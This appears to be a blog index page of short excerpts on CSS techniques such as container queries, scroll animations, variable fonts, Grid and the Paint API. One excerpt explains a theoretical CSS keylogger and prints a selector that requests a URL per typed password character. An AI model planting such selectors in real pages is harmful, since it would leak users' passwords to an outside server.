A rather geeky/technical weblog, est. 2001, by Bramus
Extensive writeup by Philip Walton on how he tackles the Container Queries problem. Instead of narrowly focusing on the specific CSS feature proposal we call “container queries”, I want to focus on the broader concept of building components that respond to their environment. And if you accept this larger framing, there are actually new web …
Continue reading “Responsive Components: a Solution to the Container Queries Problem”
Nice little library by Martin Kool / Q42. Delighters.js toggles classnames as you scroll. You do the rest! 🤓 Late 2013 I created a likewise thingy (dependent on jQuery) 🙂 The main class toggled is .delighter, with an extra .started or .ended to know if the animation just started or ended. /* when the library …
Continue reading “Delighters.JS – Add CSS animations to delight users as they scroll down”
Using the hanging-punctuation CSS property it’s possible to control whether a punctuation mark should hang at the start or end of a line of text, so that they do not disrupt the ‘flow’ of a body of text or ‘break’ the margin of alignment. Here’s a pen: See the Pen mWJJNx by Joel Drapper (@joeldrapper) …
Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory goes that whenever a user presses the a character inside an input[type=”password”], a request to …
Continue reading “CSS Keylogger (and why you shouldn’t worry about it)”
Neat experiment by Roman Komarov in which he orders tabular data using just HTML/CSS, thanks to the use of CSS Custom Properties (CSS Variables): Each cell of each row is given a specific value to sort on. <tr class="table-row" style=" –order-by-published: 161221; –order-by-views: 2431; "> <th class="table-cell"> <a href="http://kizu.ru/en/fun/controlling-the-specificity/">Controlling the Specificity</a> </th> <td class="table-cell">2016-12-21</td> <td …
Continue reading “Ordering tabular data with only CSS thanks to CSS Variables”
Thanks to Counting With CSS Counters and CSS Grid my attention was directed to this fact comes to using CSS Counters: The effectiveness of counter() wanes when we realize that an element displaying the total count can only appear after all the elements to be counted in the source code. This is because the browser …
Richard Rutter (@clagnut): Using variable fonts in the real world turns out to be tricky. This post explains how we achieved it for the new Ampersand website and what we learned along the way. Always great to see how others went head first into a problem. Be sure to checkout the Ampersand website itself too, …
Continue reading “How to use variable fonts in the real world”
Recently, I decided to try to recreate the GitHub Contribution graph using CSS Grid Layout, and found it was an interesting challenge. As I always find while working with CSS Grid Layout, I end up with far less CSS than I would have using almost any other method. In this case, the layout-related part of …
Continue reading “Recreating the GitHub Contribution Graph with CSS Grid Layout”
Oh yeah, the CSS Paint API will be enabled by default in Chrome 65: CSS Paint API allows you to programmatically generate an image whenever a CSS property expects an image. Properties like background-image or border-image are usually used with url() to load an image file or with CSS built-in functions like linear-gradient(). Instead of …
Continue reading “CSS Paint API (Houdini’s Paint Worklet) available in Chrome 65!”